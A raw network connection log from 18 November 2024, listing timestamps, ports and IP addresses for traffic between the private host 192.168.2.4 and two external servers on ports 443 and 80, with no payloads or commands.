Nov 18, 2024 23:04:15.905591011 CET	49835	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.905601978 CET	443	49835	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.910928965 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.911753893 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.911792040 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.912899971 CET	49834	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.912910938 CET	443	49834	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.917606115 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.917874098 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.917933941 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.918257952 CET	49833	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.918277025 CET	443	49833	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.923213959 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.923248053 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.923336983 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.923609972 CET	49838	443	192.168.2.4	13.107.246.45
Nov 18, 2024 23:04:15.923624992 CET	443	49838	13.107.246.45	192.168.2.4
Nov 18, 2024 23:04:15.944475889 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944528103 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944538116 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944561005 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944570065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944601059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944612980 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944645882 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944654942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944679976 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944680929 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944715977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944736004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944770098 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.944933891 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944966078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.944986105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945000887 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945007086 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945034981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945039988 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945069075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945075989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945101023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945110083 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945136070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945142031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945168018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945204020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945214987 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945252895 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945256948 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945288897 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945303917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945324898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.945341110 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.945369005 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.946872950 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.946904898 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.946930885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.946953058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.946957111 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.946989059 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947000027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947031021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947041035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947073936 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947082043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947108984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947114944 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947149038 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947196960 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947228909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947247982 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947262049 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947273016 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947295904 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947303057 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947344065 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947345972 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947381020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947396040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947423935 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947705984 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947735071 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.947758913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.947776079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948081970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948115110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948136091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948148012 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948151112 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948189974 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948199034 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948230982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948240995 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948263884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948277950 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948297977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948302984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948331118 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948335886 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948369980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948411942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948446035 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948457003 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948482037 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948487043 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948517084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948522091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948554039 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948556900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948594093 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948713064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948745966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948762894 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948779106 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948781013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948812008 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948821068 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948847055 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948854923 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948879004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948885918 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948911905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948921919 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948945045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948957920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.948978901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.948986053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949012995 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949018002 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949050903 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949183941 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949217081 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949227095 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949250937 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949256897 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949284077 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949291945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949317932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949322939 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949351072 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949357033 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949383020 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949393034 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949414968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949436903 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949476004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949491024 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949510098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949520111 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949542999 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949549913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949574947 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949580908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949618101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949626923 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949661970 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949670076 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949695110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949704885 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949728966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949734926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949760914 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949770927 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949794054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949801922 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949829102 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949832916 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949861050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949872017 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949894905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949901104 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949928045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949938059 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949959993 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.949966908 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.949992895 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950004101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950021982 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950032949 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950054884 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950067997 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950088978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950095892 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950129032 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950617075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950649977 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950665951 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950683117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950691938 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950717926 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950722933 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950750113 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950757027 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950783014 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950788021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950814962 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950822115 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950849056 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950856924 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950881004 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950890064 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950915098 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950920105 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950947046 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950956106 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.950980902 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.950985909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951010942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951021910 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951044083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951054096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951078892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951093912 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951112032 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951122999 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951147079 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951149940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951179981 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951185942 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951214075 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951220989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951246023 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951253891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951280117 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951287031 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951324940 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951330900 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951369047 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951375961 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951407909 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951420069 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951443911 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951448917 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951477051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951491117 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951509953 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951519966 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951545000 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951549053 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951584101 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951667070 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951699018 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951714039 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951731920 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951731920 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951767921 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951782942 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951814890 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951826096 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951848030 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951850891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951879978 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951893091 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951908112 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951931953 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951940060 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951945066 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.951973915 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.951982021 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952004910 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952013969 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952038050 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952043056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952071905 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952079058 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952105045 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952112913 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952138901 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952147961 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952171087 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952183008 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952204943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952218056 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952238083 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952249050 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952266932 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952277899 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952301025 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952305079 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952333927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952337980 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952380896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952528954 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952564001 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952589989 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952591896 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952603102 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952625036 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952644110 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952676058 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952697992 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952713013 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952724934 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952758074 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952771902 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952790022 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952802896 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952822924 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952833891 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952856064 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952873945 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952888966 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952910900 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952930927 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952944994 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952964067 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.952975035 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.952996016 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953008890 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953027964 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953042984 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953057051 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953072071 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953089952 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953104973 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953123093 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953135014 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953155041 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953171968 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953187943 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953197956 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953222036 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953233004 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953255892 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953280926 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953288078 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953301907 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953325987 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953330040 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953373909 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953608990 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953643084 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953666925 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953681946 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953694105 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953727007 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953739882 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953762054 CET	80	49794	31.41.244.11	192.168.2.4
Nov 18, 2024 23:04:15.953768015 CET	49794	80	192.168.2.4	31.41.244.11
Nov 18, 2024 23:04:15.953808069 CET	80	49794	31.41.244.11	192.168.2.4
